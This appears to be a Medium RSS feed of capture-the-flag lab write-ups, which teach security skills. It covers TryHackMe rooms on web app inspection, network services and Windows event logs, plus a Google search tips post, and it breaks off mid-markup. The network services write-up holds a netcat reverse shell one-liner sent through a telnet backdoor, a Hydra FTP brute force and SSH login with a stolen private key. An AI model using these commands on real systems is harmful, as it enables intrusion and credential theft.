<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MeowareHuntress on Medium]]></title>
        <description><![CDATA[Stories by MeowareHuntress on Medium]]></description>
        <link>https://medium.com/@missmeoware?source=rss-a295d73e932------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FQNSa_hxL7Y53miH9aBXyg.jpeg</url>
            <title>Stories by MeowareHuntress on Medium</title>
            <link>https://medium.com/@missmeoware?source=rss-a295d73e932------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 15:05:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@missmeoware/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THM Write-Up: Walking an Application]]></title>
            <link>https://missmeoware.medium.com/thm-write-up-walking-an-application-19f06c1bcf21?source=rss-a295d73e932------2</link>
            <guid isPermaLink="false">https://medium.com/p/19f06c1bcf21</guid>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[walking-an-application]]></category>
            <dc:creator><![CDATA[MeowareHuntress]]></dc:creator>
            <pubDate>Sat, 27 Nov 2021 20:24:12 GMT</pubDate>
            <atom:updated>2021-11-27T20:24:12.389Z</atom:updated>
            <content:encoded><![CDATA[<p>It has been a good minute since I have written a write-up, but recently found this room from THM to be quite fun for those interested in app-sec, pentesting, or building healthy website-making habits:<br><a href="https://tryhackme.com/room/walkinganapplication">https://tryhackme.com/room/walkinganapplication</a></p><h3>1 — Walking an Application</h3><p>All you need to do is start up the provided Machine, then navigate to the website link provided. No fancy tools needed here. While it is not necessary in this case, I personally accessed this site via Firefox in Kali VM.</p><h3>2 — Exploring the Website</h3><p>Here, we just review what is provided. Noting how URL navigation works will be useful in the next few sections.</p><h3>3 — Viewing the Page Source</h3><p>There are a few ways this can be done. We will want to inspect the page source by appending the URL with <em>page-source:</em> to open an easy-to-read layout of the source code (vs opening via right-click + inspect).</p><p><strong>What flag is from the HTML comment?</strong></p><ul><li><strong>Answer:</strong> THM{HTML_COMMENTS_ARE_DANGEROUS}</li></ul><p>Viewing the initial page’s source code, this flag can be found in the very top. Note that HTML comments are usually in the format: <em>&lt;!-- comment --&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*QO9XKGGWLNLcFJLIYlPrlQ.png" /></figure><p>Once we copy and paste this subpage into the URL, we can view the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*yVWqG-pFZpHxhfqRdOdKXg.png" /></figure><p><strong>What is the flag from the secret link?</strong></p><ul><li><strong>Answer:</strong> THM{NOT_A_SECRET_ANYMORE}</li></ul><p>Back on the main page, we can find that there is a secret page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*qa7DUIeascUrOiSpxDU2cg.png" /></figure><p>Either by clicking on it or changing the URL similar to the previous task, we will find the next flag there.</p><p><strong>What is the directory listing flag?</strong></p><ul><li><strong>Answer:</strong> THM{INVALID_DIRECTORY_PERMISSIONS}</li></ul><p>Looking at the bottom of the source code for the main page, we can see the external files stored in the same directory /assets/ and navigate there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*GNkD8EaLOt3zKJiqUMFF9w.png" /></figure><p>Once we are on this page, we see that there is a .txt file containing this flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*cLUvN8CkKokwNhMlaCBN0A.png" /></figure><p><strong>What is the framework flag?</strong></p><ul><li><strong>Answer:</strong> THM{KEEP_YOUR_SOFTWARE_UPDATED}</li></ul><p>Back on the main page’s source code, we see that there is a comment at the bottom stating the framework used. Navigating to the URL there, we will see that it is running Version 1.3. Viewing the change log, there is a suspicious directory listed (/tmp.zip). Navigating there, we download a file which will contain another .txt document with our flag.</p><h3>4 — Developer Tools - Inspector</h3><p>Using Firefox, just hit <em>CTRL + Shift + i</em> simultaneously to open the window (can adjust position using the three dots … icon within it, and Dock to wherever).</p><p><strong>What is the flag behind the paywall?</strong></p><ul><li><strong>Answer:</strong> THM{NOT_SO_HIDDEN}</li></ul><p>On the website, clicking on News will take us where we need to go. Navigate to the starred article “3 Tips for keeping your printer working” to find the Paywall notice. Under Inspect, we will open down to see <em>premium-customer-blocker</em>, and clicking on it shows the Elements. We are interested in <em>display: block:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*1hQEQwqU8qXeLQyNguBvMQ.png" /></figure><p>Proceed to click on on the word “block” and type in “none” and hit enter to reveal the article and flag.</p><h3>5 — Developer Tools - Debugger</h3><p><strong>What is the flag in the red box?</strong></p><ul><li><strong>Answer: </strong>THM{CATCH_ME_IF_YOU_CAN}</li></ul><p>Go to Contact page, then change to the Debugger tab. Selecting JS flash.min.js in the dropdown under Assets, we can follow along with the room’s author here.</p><p>Clicking on the curly brackets at the far bottom will make the code more readable, and scrolling to the bottom-most section of the code is where we can find<em> flash[‘remove’](); </em>which was on line 108 in my case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*iZ3PULZyBar3C6-adRwtTg.png" /></figure><p>Clicking on this section’s number, the piece of code should be appended under the Breakpoint tab. Refreshing the page will pause the box with a message “Paused on breakpoint” and the red box which contains the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruXaztuzwYS8lG2TnG7MwA.png" /></figure><h3>6 — Developer Tools - Network</h3><p><strong>What is the flag shown on the contact-msg network request?</strong></p><ul><li><strong>Answer:</strong> THM{GOT_AJAX_FLAG}</li></ul><p>Still on the Contact page, we can change over to the Network section of the Inspect tab. After filling out the form and submitting it, we should see a new item pop up called “contact-msg”. Viewing this will show a Response Header with the flag, but wait! This is <strong>not</strong> the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*2H5Xv_atjkYcSaaBzYdPiA.png" /></figure><p>Just click on the response tab and you will see the actual flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*pnWVFJGZqkQdyIxhWPNWlQ.png" /></figure><p>Congrats, another lab well done!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19f06c1bcf21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Google-Fu? — and How to Search with Google]]></title>
            <link>https://missmeoware.medium.com/what-is-google-fu-and-how-to-search-with-google-47b9a4701f5e?source=rss-a295d73e932------2</link>
            <guid isPermaLink="false">https://medium.com/p/47b9a4701f5e</guid>
            <category><![CDATA[basic-internet]]></category>
            <category><![CDATA[search-operators]]></category>
            <category><![CDATA[google-search]]></category>
            <dc:creator><![CDATA[MeowareHuntress]]></dc:creator>
            <pubDate>Thu, 30 Sep 2021 15:55:57 GMT</pubDate>
            <atom:updated>2021-09-30T15:55:57.450Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Google-Fu? — and How to Search with Google</h3><p>I am grateful to have grown up during the transition of the digital age where schools moved students with malleable minds towards the use and reliance of the all-powerful computer.</p><p>In elementary school, my generation started learning how to use the first generation of Microsoft Office applications and floppy disks, and in middle school we needed to spice up reports with a mix of library books and online articles. Once I reached high school, Google was your mandatory best friend. Everyone in college recognized it as a hero.</p><p>Over <em>90% of the world</em> now uses this search engine for various things, from product searching to cooking to life stuff. For some careers, especially in IT and cybersecurity, we also rely on this online resource to succeed in our work. But do you know how to effectively use Google Search?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFs91Gkpvc5PPSO-VDN4CQ.png" /><figcaption>Google Search — we just want to be able to tell if the tomatoes in the fridge are going bad!</figcaption></figure><p>We all probably share a moment of frustration trying to desperately find something online only to receive some wacky or interesting results instead…</p><p><strong>Here is where Google-Fu, the art of Google searching like a pro, comes into play.</strong></p><p>Below are some basic tips to get started with a better experience on the most widely-used search engine, sorry Bing. Also, try testing out the <strong>example text</strong> <em>inside</em> the outer-most quotes (e.g. “<strong><em>test me!</em></strong>”) via Google Search.</p><h3>Narrow Down, and Order</h3><p>The first and most fundamental thing to know is that you don’t need to <em>literally</em> enter what you want to search for in the search bar. What a relief! “Google, can you let me know what the weather is for Seattle, Washington?” is the same as “weather Seattle WA”. In fact, the less is better as more words may confuse Google and bring up some other bizarre results…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*TC9b7O9ZBxRT_rSaWM5Arg.jpeg" /><figcaption>Hopefully someone remembers this one. Thanks, Meme Generator.</figcaption></figure><p>Order is also very important — (e.g. “Green Sea” vs “Sea Green”)</p><p>Also, there are some keywords you can use to pull up some basic information. Try some searches with the following:</p><ul><li>movies &lt;your zipcode&gt; (e.g. “movies 89131”)</li><li>stocks (e.g. “stocks amd”)</li><li>package tracking (enter your package number in the search bar)</li><li>translate (e.g. “translate entschuldigung english”)</li></ul><p>After getting comfortable with the basics, we can move on to the fun stuff!</p><h3>Quotes and Other Symbols</h3><p>Periods, exclamation points, and other snazzy sentence-spicing statement symbols are generally ignored by Google Search. Typing “HELP!” won’t return anything different from “…help?”. However, using other symbols, we can narrow down a search to be efficient.</p><p>Try these out:</p><ul><li>Quotes <strong>“” </strong>will specify for Google to find the exact phrase or word(s). For this example, you will need the quotes included <br>(e.g. “where is my phone”)</li><li>Number Range <strong>.. </strong>returns a range of numbers in the search results <br>(e.g. “Obama mic drop 2010..2016”)</li><li>Asterisks <strong>* </strong>can be used to substitute a “wildcard” word or combination between two words<br>(e.g. “cats * dogs”)</li><li>The hyphen — can be used to omit a word from a search<br>(e.g. “bass -guitar”)</li><li>Two periods .. can be used to define a range between two years<br>(e.g. “ted talk quiet 2012 .. 2016”)</li><li>Plus sign <strong>+ </strong>tells the search to include a keyword<br>(e.g. “Chernobyl +deer”, try without using + to see how results can differ)</li></ul><h3>Search Operators</h3><p>Using Search Operators seems a bit more advanced, but can help save some time by really narrowing down searches based on an article name, desired site, etc.</p><ul><li><strong>allintext: | allintitle: </strong>tells the search to include every word specified that is found in the text body or title of a webpage.<br>(E.g. “allintext:scale,test,banana” | “allintitle:cats,happy”)</li><li><strong>intitle:</strong> specifies title of webpage you wish to have returned. <br>(E.g. “intitle:Google-Fu”)</li><li><strong>inurl: </strong>specifies text in a URL you wish to have returned.<br>(E.g. “inurl:book”)</li><li><strong>cache:</strong> returns the most recent cached version of a page <br>(E.g. “cache:tryhackme.com”)</li><li><strong>define:</strong> returns the definition of a word.*<br>(E.g. “define:voracious”)<br>*Entering the word alone in the search bar can also return the definition, but that is not guaranteed.</li><li><strong>filetype:</strong> specifies the type of file desired.<br>(E.g. “filetype:JPEG”)</li><li><strong>link:</strong> finds a page containing the specified link.<br>(E.g. “medium link:tryhackme.com”)</li><li><strong>related:</strong> returns websites similar to the one queried. <br>(E.g. “related:nytimes.com”)</li><li><strong>site:</strong> returns results from the specified URL, can also be used to search a particular site for keywords.<br>(E.g. “site:www.wikipedia.org” | “Patrick Mahomes site:nfl.com”)</li></ul><h3>Calculating &amp; Mathematics</h3><p>Some may not know this, but Google also functions as a calculator:</p><ul><li><strong>+-*/</strong> can be used to add, subtract, multiply, and divide (respectively)</li><li><strong>% of </strong>returns a percentage of a number (e.g. 8% of 60 will return 4.8)</li><li><strong>cos() sin() tan()</strong> etc. return trigonometric values</li><li>Units of measure and currency can also be converted <br>(e.g. “4 oz to cups” | “1 usd to gbp”)</li></ul><p>There are plenty of Search Operators and combinations available that can be used which were not covered here. With your newly-found Google talents, hopefully you have a better idea of how to navigate this search engine and join the savvy 1% of internet users out there.</p><p>Want to keep learning about Search Operators? Check out some of these resource pages (more to be added later):</p><ul><li><a href="https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/">https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/</a></li><li><a href="https://ahrefs.com/blog/google-advanced-search-operators/">https://ahrefs.com/blog/google-advanced-search-operators/</a></li><li><a href="https://www.spyfu.com/blog/google-search-operators/">https://www.spyfu.com/blog/google-search-operators/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47b9a4701f5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Write-Up: Network Services]]></title>
            <link>https://missmeoware.medium.com/thm-write-up-network-services-e7533b15f023?source=rss-a295d73e932------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7533b15f023</guid>
            <category><![CDATA[network-services]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <dc:creator><![CDATA[MeowareHuntress]]></dc:creator>
            <pubDate>Thu, 23 Sep 2021 19:13:10 GMT</pubDate>
            <atom:updated>2021-09-23T19:13:10.509Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my write-up for working through the Network Services room — <br><a href="https://tryhackme.com/room/networkservices">https://tryhackme.com/room/networkservices</a></p><p>Thanks again to the THM team for creating this platform and providing excellent learning material for us students in cyber security. :)</p><p><strong><em>Before starting, I highly recommend working through the room on your own (and </em></strong><a href="https://tryhackme.com/room/furthernmap"><strong><em>Nmap</em></strong></a><strong><em>, if not completed yet)! </em></strong><em>This guide provides the answers, followed by an explanation on how the solution was found when applicable.</em></p><h3>1 — Get Connected</h3><p>No questions here, just be sure to activate your attack box, and each independent machine depending where you are in the lab.</p><h3>2 — Understanding SMB</h3><p><strong>Takeaway: S</strong>erver <strong>M</strong>essage <strong>B</strong>lock Protocol is mainly used for sharing resource access over a network (includes, but not limited to, files and printers).</p><p>The following answers can be found in the THM reading provided:</p><p><strong>What does SMB stand for?</strong></p><ul><li><strong>Answer:</strong> Server Message Block</li></ul><p><strong>What type of protocol is SMB?</strong></p><ul><li><strong>Answer:</strong> response-request</li></ul><p><strong>What do clients connect to servers using?]</strong></p><ul><li><strong>Answer: </strong>TCP/IP</li></ul><p><strong>What systems does Samba run on?</strong></p><ul><li><strong>Answer:</strong> Unix</li></ul><h3>3 — Enumerating SMB</h3><p>Per THM —</p><blockquote>Enumeration is the process of gathering information on a target in order to find potential attack vectors and aid in exploitation.</blockquote><p>The tool <a href="https://labs.portcullis.co.uk/tools/enum4linux/"><em>Enum4Linux</em></a> will be used in this section.</p><p><strong>Conduct an nmap scan of your choosing, How many ports are open?</strong></p><ul><li><strong>Answer: </strong>3</li></ul><p>Run the command <em>nmap -sV &lt;IP&gt; </em>to search for open ports. Each open port will be returned with its respective number and information on its type:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Zf-B4tjfTu86MGMXH2PJQQ.png" /></figure><p><strong>What ports is SMB running on?</strong></p><ul><li><strong>Answer: </strong>139/445</li></ul><p>The SMB ports 139 and 445 are open, as seen in the screenshot above.</p><p><strong>Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?</strong></p><ul><li><strong>Answer: </strong>WORKGROUP</li></ul><p>The answer can be found by running: <em>enum4linux -N &lt;Machine IP&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*3iEUM9lDwy-cRbvnN1caXA.png" /></figure><p><strong>What comes up as the name of the machine?</strong></p><ul><li><strong>Answer: </strong>POLOSMB</li></ul><p>The answer can be found by running: <em>enum4linux -S &lt;Machine IP&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*qimeQV0SXikgVgyJen_xaQ.png" /></figure><p><strong>What operating system version is running?</strong></p><ul><li><strong>Answer: </strong>6.1</li></ul><p>The answer can be found by running: <em>enum4linux -A &lt;Machine IP&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*Y4hHxfeMLjjuAAfZt8zBMw.png" /></figure><p><strong>What share sticks out as something we might want to investigate?</strong></p><ul><li><strong>Answer: </strong>profiles</li></ul><p>The answer can be found by running: <em>enum4linux -S &lt;Machine IP&gt; <br></em>This is something we want to investigate over the other shares due to its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*nrzWYbUSGsbYYWobWhkFGQ.png" /></figure><h3>4 — Exploiting SMB</h3><p>To access a SMB share remotely, the recommended syntax is<br><em>smbclient //&lt;IP&gt;/&lt;SHARE&gt;<br></em>Followed by the tags -U [name of user] or -p [port]</p><p><strong>What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?</strong></p><ul><li><strong>Answer: </strong>smbclient //10.10.10.2/secret -U suit -p 445</li></ul><p><strong>Does the share allow anonymous access? Y/N?</strong></p><ul><li><strong>Answer: </strong>Y</li></ul><p>We were able to log in using a similar syntax to the previous question. To not supply a password, simply hit “enter”. Note, the commands provided via SMB are very limited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*q6fb3SC82B-H_jBZicMVnQ.png" /></figure><p><strong>Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?</strong></p><ul><li><strong>Answer: </strong>John Cactus</li></ul><p>Running <em>ls</em> lets us see that there is a text file among other interesting files we will check on later. Since we cannot just read these files, we need to run a command to pull it to our desktop:<br><em>get ‘Working From Home Information.txt’ /root/Desktop/file.txt<br></em>From here, we can click and read the new file’s contents, which are addressed to this individual.</p><p><strong>What service has been configured to allow him to work from home?</strong></p><ul><li><strong>Answer: </strong>SSH</li></ul><p>This was also found and confirmed via the text file.</p><p><strong>Okay! Now we know this, what directory on the share should we look in?</strong></p><ul><li><strong>Answer: </strong>.ssh</li></ul><p>Back to the Terminal, let’s look at the current directory once more through the SMB session. Since the note mentioned that Mr. Cactus is using SSH, we will want to check that out first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*FIdbIZLN148QPx4nFHi4MQ.png" /></figure><p><strong>This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?</strong></p><ul><li><strong>Answer: </strong>id_rsa</li></ul><p>Note the process used to <a href="https://www.ssh.com/academy/ssh/keygen">create an SSH key pair for user authentication</a>:</p><blockquote>Once the public key has been configured on the server, the server will allow any connecting user that has the private key to log in. During the login process, the client proves possession of the private key by digitally signing the key exchange</blockquote><p>We would definitely want id_rsa key to help us get in as it is a private key for authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*AxlUD3_lNO_0ojp1l3_qew.png" /></figure><p><strong>What is the smb.txt flag?</strong></p><ul><li><strong>Answer: </strong>THM{smb_is_fun_eh?}</li></ul><p>After I retrieved the key via the command: <em>get id_rsa /root/Desktop/id_rsa <br></em>(also can download id_rsa.pub), I terminated the SMB session then changed the key permissions on my local AttackBox with: <em>chmod 600 id_rsa</em></p><p>Recall <em>enum4linux -A</em>, we can run the command with the flag to find the user’s name at the end. Once we confirm, we can SSH into the machine using the private key to bypass authentication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*i5Qasq0UpQXQfAlvUC4CnQ.png" /></figure><p>At this point, we are logged in as cactus and can use <em>ls </em>to see there is one text file, then use <em>cat</em> to view its contents — the flag.</p><h3>5 — Understanding Telnet</h3><p>Telnet is a legacy application protocol previously used to run commands remotely on a machine with a telnet server in place, but is no longer used since everything was sent via cleartext (no encryption) which has been provided and replaced by the introduction of SSH.</p><p>Takeaway: The command to use Telnet is <em>telnet [ip] [port]</em>.</p><p><strong>What is Telnet?</strong></p><ul><li><strong>Answer: </strong>application protocol</li></ul><p><strong>What has slowly replaced Telnet?</strong></p><ul><li><strong>Answer:</strong> ssh</li></ul><p><strong>How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?</strong></p><ul><li><strong>Answer: </strong>telnet 10.10.10.3 23</li></ul><p><strong>The lack of what, means that all Telnet communication is in plaintext?</strong></p><ul><li><strong>Answer: </strong>encryption</li></ul><h3>6 — Enumerating Telnet</h3><p>Fair warning, this part of the lab will require some understanding of how to use Nmap.</p><p><strong>How many ports are open on the target machine?</strong></p><ul><li><strong>Answer:</strong> 1</li></ul><p>Running Nmap scan will default to only give you the first 1000 ports that are *commonly* found to be open. We should ask it to check additional ports just in case Nmap <a href="https://alligator.io/workflow/port-scanning-nmap/">missed something</a>… Since adding the -p- flag alone would take a while (it will scan all 65535 ports), I shortened it to scan the first 10,000 ports instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*sspvzB7VBKkA88yFHdx-Pw.png" /></figure><p><strong>What port is this?</strong></p><ul><li><strong>Answer:</strong> 8012</li></ul><p><strong>This port is unassigned, but still lists the protocol it’s using, what protocol is this?</strong></p><ul><li><strong>Answer:</strong> TCP</li></ul><p><strong>Now re-run the nmap scan, without the -p- tag, how many ports show up as open?</strong></p><ul><li><strong>Answer: </strong>0</li></ul><p>~</p><p><strong>Based on the title returned to us, what do we think this port could be used for?</strong></p><ul><li><strong>Answer: </strong>a<strong> </strong>backdoor</li></ul><p>From the same Nmap scan just performed earlier, we can see part of the returned findings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*ljl0nPD2Gvnsgc7lnNdfTQ.png" /></figure><p><strong>Who could it belong to? Gathering possible usernames is an important step in enumeration</strong></p><ul><li><strong>Answer:</strong> SKIDY</li></ul><p>See the findings (most recent screenshot above) indicating a name for who the backdoor belongs to.</p><h3>7 — Exploiting Telnet</h3><p>We are going to try using Telnet to test our previous findings and see if we can perform some reconnaissance.</p><p><strong>Great! It’s an open telnet connection! What welcome message do we receive?</strong></p><ul><li><strong>Answer:</strong> SKIDY’S BACKDOOR.</li></ul><p>Based on the information we found earlier, we can throw the following command together: <em>telnet &lt;machine_IP&gt; 8012.<br></em>Once run in via the Terminal, our answer will be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*AssLi78qHsGKNWUSDPK9Pw.png" /></figure><p><strong>Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)</strong></p><ul><li><strong>Answer:</strong> Y</li></ul><p>At first, running commands will not appear to do anything. Next, we will need to run a tcpdump listener to see whether the commands are being received at all. Since I am using AttackBox, I ran the following on a separate Terminal window: <br><em>sudo tcpdump ip proto \\icmp -i eth0</em></p><p>Then, back on the original Telnet session tab, I ran: <br><em>.RUN ping &lt;AttackBox IP&gt; -c 1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*fZiPVway27IWDgqe9zdTiA.png" /></figure><p>Clearly, some activity was showing in the tcpdump capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*JMtq3Cp0k687z_N2azD4Jg.png" /></figure><p>Now, to test a reverse shell payload.</p><p><strong>We’re going to generate a reverse shell payload using msfvenom… What word does the generated payload start with?</strong></p><ul><li><strong>Answer: </strong>mkfifo</li></ul><p>I am first running the provided script with my local AttackBox IP. A raw payload can be seen, below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*XsSHg4XQeh-XH4dN_k3wmw.png" /></figure><p><strong>What would the command look like for the listening port we selected in our payload?</strong></p><ul><li><strong>Answer:</strong> nc -lvp 4444</li></ul><p><strong>Success! What is the contents of flag.txt?</strong></p><ul><li><strong>Answer: </strong>THM{y0u_g0t_th3_t3ln3t_fl4g}</li></ul><p>In a second Terminal window, run the netcat command. In the first Terminal window with the Telnet session, we will need to run the following with the info we grabbed from the payload created earlier:<br><em>.RUN mkfifo /tmp/nxhxk; nc 10.10.58.185 4444 0&lt;/tmp/nxhxk | /bin/sh &gt; /tmp/nxhxk 2&gt;&amp;1; rm /tmp/nxhxk</em></p><p>The netcat tab will show a connection was received. Now we can run commands in the second terminal and look at the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*QMvzrhCc1wvG_RxSsCtZvQ.png" /></figure><h3>8 — Understanding FTP</h3><p><strong>What communications model does FTP use?</strong></p><ul><li><strong>Answer: </strong>client-server</li></ul><p><strong>What’s the standard FTP port?</strong></p><ul><li><strong>Answer: </strong>21</li></ul><p><strong>How many modes of FTP connection are there?</strong></p><ul><li><strong>Answer:</strong> 2</li></ul><p>Recall FTP supports Active (client-opened port) and Passive (server-opened port) connections.</p><h3>9 — Enumerating FTP</h3><p><strong>How many ports are open on the target machine?</strong></p><ul><li><strong>Answer: </strong>2</li></ul><p>You will need to run a larger scan with the<em> -p-</em> flag to verify the count.</p><p><strong>What port is ftp running on?</strong></p><ul><li><strong>Answer: </strong>21</li></ul><p><strong>What variant of FTP is running on it?</strong></p><ul><li><strong>Answer: </strong>vsftpd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*lcMthjQ7M34pkwXZcxbHHw.png" /></figure><p><strong>What is the name of the file in the anonymous FTP directory?</strong></p><ul><li>Answer: PUBLIC_NOTICE.txt</li></ul><p>We can see the file once we log in via ftp (username: anonymous, password is left blank) and run <em>ls</em> to see what is in the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*Pve_HqHnAf6EFWLFe1aI3g.png" /></figure><p><strong>What do we think a possible username<br>could be?</strong></p><ul><li><strong>Answer:</strong> Mike</li></ul><p>You will need to download the file via the <em>get</em> command to read it, but the answer can be found inside it.</p><h3>10 — Exploring FTP</h3><p>We are now going to play around with a new password cracking tool called <a href="https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/">Hydra</a>. Using the previous information we have gathered, our next steps should be fairly straight-forward.</p><p><strong>What is the password for the user “mike”?</strong></p><ul><li><strong>Answer:</strong> password</li></ul><p>You may need to download the rockyou.txt file again. Using the provided command, we will need to substitute the user as Mike, the file path to point to the location of the rockyou.txt file, and the IP as the target machine’s:</p><p><em>hydra -t 4 -l [username] -P [rockyou.txt_file_path] -vV [target_machine_IP] ftp</em></p><p>The password we find is clearly not very secure. With how quickly it was discovered, this is why it’s essential to use strong and uncommon passwords. ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*GPV27FflpwwJSU5G0yTOSg.png" /></figure><p>~</p><p><strong>What is ftp.txt?</strong></p><ul><li><strong>Answer:</strong> THM{y0u_g0t_th3_ftp_fl4g}</li></ul><p>We will need to log in using the command: <em>ftp [target_machine_IP]</em> <br>and with Mike’s credentials. Once logged in, download the file by using <em>get ftp.txt </em>and the file should download to your Desktop. Go ahead and open it to find the password.</p><p>Another lab complete, well done!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7533b15f023" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Write-Up: Windows Event Logs]]></title>
            <link>https://missmeoware.medium.com/thm-write-up-windows-event-logs-43e495db4e59?source=rss-a295d73e932------2</link>
            <guid isPermaLink="false">https://medium.com/p/43e495db4e59</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[windows-event-logs]]></category>
            <dc:creator><![CDATA[MeowareHuntress]]></dc:creator>
            <pubDate>Fri, 17 Sep 2021 20:30:37 GMT</pubDate>
            <atom:updated>2021-09-17T21:23:30.129Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my write-up for working through the Windows Event Log room — <br><a href="https://tryhackme.com/room/windowseventlogs">https://tryhackme.com/room/windowseventlogs</a></p><p>Thanks to the THM team for creating this platform and providing excellent learning material for us students in cyber security :)</p><p><strong><em>Before starting, I highly recommend working through the room on your own! </em></strong><em>This guide provides the answers, followed by an explanation on how the solution was found.</em></p><h3>1 — Event Logs</h3><p>These records document activity that occurs in a system and can be used for various things, from diagnosing problems to conducting review of an incident. Log entries help investigators see a timeline of events to help determine what occurred on a system or device. For those seeking roles in a SOC or other blue team security role, one major core responsibility is working with SIEMs and review logs to respond to an incident accordingly.</p><p>Before starting the room, launch the room’s machine. It will deploy an instance of Windows, so no remoting is necessary from the attack box at this time.</p><p><strong>Let’s begin…</strong></p><h3>2 — Event Viewer (GUI-based application)</h3><p>For reference, it is important to note that there are three ways to access event logs, which will be covered in Task 2–4. For now, we are reviewing the GUI method (accessed via right-clicking on Start and selecting Event Viewer). To answer the questions, we will need to select the proper log:</p><p>Applications and Services Logs &gt; Microsoft &gt; Windows &gt; Powershell &gt; Operational</p><p><strong>What is the Event ID for the first event?</strong></p><ul><li><strong>Answer:</strong> 40961</li></ul><p>The first log may be the most recent event listed. By clicking on Date and Time, the logs can be sorted from the oldest to most recent and vice-versa. Once sorting, we can find the oldest log to occur at 12/21/2020 6:56:02 AM, with the event ID.</p><p><strong>Filter on Event ID 4104. What was the 2nd command executed in the PowerShell session?</strong></p><ul><li><strong>Answer<em>:</em></strong><em> whoami</em></li></ul><p>Select “Filter Current Log…” from the right-hand menu. Add the desired ID to the field, then click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*b2dfOVA8mCBXL-HOleiOvg.png" /><figcaption>Filter Current Log setting used</figcaption></figure><p>The logs should all have the same event ID requested. Clicking on the second log, we can take a look under the General section and see that <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami"><em>whoami</em></a> was run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*hwNdHeaxZKdMKGF1F4h4zg.png" /></figure><p><strong>What is the Task Category for Event ID 4104?</strong></p><ul><li><strong>Answer:</strong> Execute a Remote Command</li></ul><p>Still viewing the same event from the previous question, we can see additional details on this event below:</p><figure><img alt="" 